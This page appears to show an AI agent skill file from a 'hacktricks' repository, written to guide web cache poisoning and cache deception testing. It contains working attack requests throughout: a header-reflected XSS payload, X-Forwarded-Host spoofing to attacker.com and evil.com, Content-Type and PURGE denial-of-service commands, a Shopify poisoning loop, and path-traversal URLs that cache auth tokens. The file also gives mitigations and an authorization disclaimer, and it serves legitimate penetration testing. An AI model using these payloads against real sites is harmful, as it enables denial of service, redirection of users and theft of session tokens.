Hacktricks-skills cache-poisoning-pentest
Web cache poisoning and cache deception testing for security assessments. Use this skill whenever the user mentions cache vulnerabilities, CDN security, web cache poisoning, cache deception, HTTP caching issues, or wants to test for cache-related vulnerabilities in web applications. This includes testing for unkeyed inputs, header manipulation, path traversal cache attacks, and extension-based cache deception.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/cache-deception/cache-deception/SKILL.MDCache Poisoning & Cache Deception Testing
A comprehensive skill for testing web cache vulnerabilities including cache poisoning and cache deception attacks.
Quick Start
# Test a target for cache poisoning python scripts/cache_test.py -u https://target.com -o results.json # Test for cache deception python scripts/cache_deception_test.py -u https://target.com
Understanding Cache Vulnerabilities
Cache Poisoning vs Cache Deception
| Cache Poisoning | Cache Deception |
|---|---|
| Attacker stores malicious content in cache | Attacker stores sensitive content in cache |
| Served to other users | Attacker retrieves the cached sensitive data |
| Impact: XSS, redirects, DoS | Impact: Data theft, account takeover |
The Attack Flow
- Identify unkeyed inputs - Parameters/headers that affect response but aren't in cache key
- Exploit the input - Manipulate to change server response
- Get it cached - Ensure the poisoned response is stored
- Verify impact - Confirm other users receive the poisoned content
Discovery Phase
Step 1: Check Cache Headers
Look for these headers in responses:
| Header | What to Look For |
|---|---|
| vs indicates caching |
| , values |
| Headers used in cache key |
| Seconds in cache |
| Cloudflare cache status |
Action: Send requests and check if responses include cache indicators. Use the
cache_test.py script to automate this.
Step 2: Test for Caching Error Codes
Some caches store error responses:
# Send malformed request to trigger 400 curl -H "Invalid-Header: test" https://target.com/ # Then access normally - if you get 400, it's cached curl https://target.com/
Warning: Not all caches store error codes. This test may not be reliable.
Step 3: Identify Unkeyed Inputs
Use these techniques:
-
Param Miner (Burp extension) - Brute-force parameters and headers
-
Manual testing - Try common unkeyed headers:
X-Forwarded-ForX-Forwarded-HostX-Forwarded-SchemeX-HostX-HTTP-Method-OverrideContent-TypeUser-Agent
-
Run the discovery script:
python scripts/cache_test.py -u https://target.com --discover
Exploitation Patterns
Pattern 1: Header Reflection XSS
Scenario: A header is reflected unsanitized in the response.
Exploit:
GET /page HTTP/1.1 Host: target.com X-Forwarded-Host: a."><script>alert(1)</script>"
Verify: Access the page without the header - if XSS persists, cache is poisoned.
Pattern 2: Host Header Spoofing
Scenario:
X-Forwarded-Host affects redirects/URLs but isn't in cache key.
Exploit:
GET / HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com
Impact: Global redirect to attacker domain, stored XSS via Open Graph tags.
Pattern 3: Content-Type Manipulation
Scenario: Backend errors on unexpected
Content-Type, cache stores error.
Exploit:
curl -H "Content-Type: invalid-value" https://target.com/page curl -X PURGE https://target.com/page # If PURGE is enabled
Impact: DoS for all users, or error page caching.
Pattern 4: Path Traversal Cache Deception
Scenario: CDN caches by extension, origin normalizes paths.
Exploit:
https://target.com/share/%2F..%2Fapi/auth/session?cachebuster=123
Flow:
- CDN sees
extension → caches response.js - Origin decodes
→ serves%2F..%2F/api/auth/session - Auth token gets cached publicly
- Attacker retrieves cached token
Pattern 5: Extension-Based Cache Deception
Scenario: Sensitive pages return HTML but path has static extension.
Test URLs:
https://target.com/profile.php/nonexistent.js https://target.com/profile.php/.css https://target.com/profile.php/../test.js https://target.com/profile.php/%2e%2e/test.js
Verify: Check if response contains sensitive data AND has cache headers.
Pattern 6: Fat Get Attack
Scenario: Cache uses URL params, backend uses body params.
Exploit:
GET /page?param=attacker HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 20 param=victim
Impact: Victim's data cached under attacker's URL.
Pattern 7: Vary Header Exploitation
Scenario:
Vary: User-Agent limits cache poisoning to specific user agents.
Exploit:
GET / HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) X-Forwarded-Host: attacker.com
Requirement: Know victim's User-Agent to poison their cache variant.
Pattern 8: CSPT + Cache Deception (Account Takeover)
Scenario: SPA with client-side path traversal + extension-based caching.
Exploit Chain:
- Lure victim to:
https://target.com/user?userId=../../../v1/token.css - SPA fetches:
https://api.target.com/v1/users/info/../../../v1/token.css - Browser normalizes to:
https://api.target.com/v1/token.css - CDN caches JSON with auth token (public, max-age=86400)
- Attacker GETs the same URL → retrieves token
Preconditions:
- SPA attaches auth headers to API calls
- CDN caches by extension, not content-type
- No
on auth headersVary
Case Studies
HackerOne: Global Redirect via X-Forwarded-Host
Vulnerability: Origin used
X-Forwarded-Host for redirects, cache key only used Host.
Poison:
GET / HTTP/1.1 Host: hackerone.com X-Forwarded-Host: evil.com
Impact: All visitors redirected to attacker domain.
GitHub: Repository DoS via Content-Type + PURGE
Vulnerability: Anonymous traffic keyed on path only, backend errored on bad
Content-Type.
Exploit:
curl -H "Content-Type: invalid-value" https://github.com/user/repo curl -X PURGE https://github.com/user/repo
Impact: DoS for all unauthenticated users of the repo.
Shopify: Cross-Host Persistence
Vulnerability: Shared cache across multiple hosts.
Exploit:
import requests, time for i in range(100): requests.get("https://shop.shopify.com/endpoint", headers={"X-Forwarded-Host": "attacker.com"}) time.sleep(0.1)
Impact: Cache poisoning across multiple properties.
GitLab: Static DoS via X-HTTP-Method-Override
Vulnerability: GCS honored
X-HTTP-Method-Override, cache ignored HTTP method.
Exploit:
GET /static/app.js HTTP/1.1 Host: gitlab.com X-HTTP-Method-Override: HEAD
Impact: Empty JS bundle cached, UI DoS.
Testing Checklist
Initial Reconnaissance
- Check
,X-Cache
,Cache-Control
headersVary - Identify CDN/proxy in use (Cloudflare, Akamai, Fastly, etc.)
- Map cacheable vs non-cacheable endpoints
- Test error code caching (400, 403, 404)
Unkeyed Input Discovery
- Test
,X-Forwarded-Host
,X-Forwarded-ForX-Forwarded-Scheme - Test
,X-HostX-HTTP-Method-Override - Test
,Content-TypeUser-Agent - Use Param Miner or
cache_test.py --discover - Check for header reflection in responses
Cache Deception Testing
- Append
,.js
,.css
to dynamic endpoints.png - Test path traversal:
/page.php/../static.js - Test URL encoding:
/page.php/%2e%2e/test.js - Check for sensitive data in cached responses
- Verify
vs file extension mismatchContent-Type
Exploitation Verification
- Poison cache with test payload
- Access from different IP/browser
- Confirm payload persists without original headers
- Check
on subsequent requestsX-Cache: HIT - Document blast radius (affected endpoints, users)
Automated Testing
Using the Cache Test Script
# Basic cache vulnerability scan python scripts/cache_test.py -u https://target.com # Discovery mode - find unkeyed inputs python scripts/cache_test.py -u https://target.com --discover # Test specific headers python scripts/cache_test.py -u https://target.com --headers "X-Forwarded-Host,X-Forwarded-For" # Output to JSON python scripts/cache_test.py -u https://target.com -o results.json
Using the Cache Deception Script
# Test for cache deception vulnerabilities python scripts/cache_deception_test.py -u https://target.com # Test specific extensions python scripts/cache_deception_test.py -u https://target.com --extensions ".js,.css,.json" # Include path traversal tests python scripts/cache_deception_test.py -u https://target.com --traversal
Mitigation Recommendations
For Cache Poisoning
- Use proper Vary headers - Include all headers that affect response
- Validate and sanitize - Never trust
headersX-Forwarded-* - Cache only safe responses - Don't cache error pages or dynamic content
- Use cache tags - Implement cache invalidation strategies
- Monitor cache headers - Alert on unexpected cache behavior
For Cache Deception
- Cache by Content-Type - Not just file extension
- Validate paths - Reject path traversal attempts
- Use Vary: Authorization - For authenticated endpoints
- Set proper Cache-Control -
for sensitive datano-store - Implement SRI - For static assets
References
- PortSwigger Web Cache Poisoning
- PortSwigger Web Cache Deception
- Web Cache Vulnerability Scanner
- toxicache
- CacheDecepHound
Legal Disclaimer
Only test systems you have explicit authorization to assess. Cache poisoning can cause DoS and affect real users. Always:
- Get written authorization
- Use cache busters during testing
- Test in staging when possible
- Have a rollback plan
- Document all findings responsibly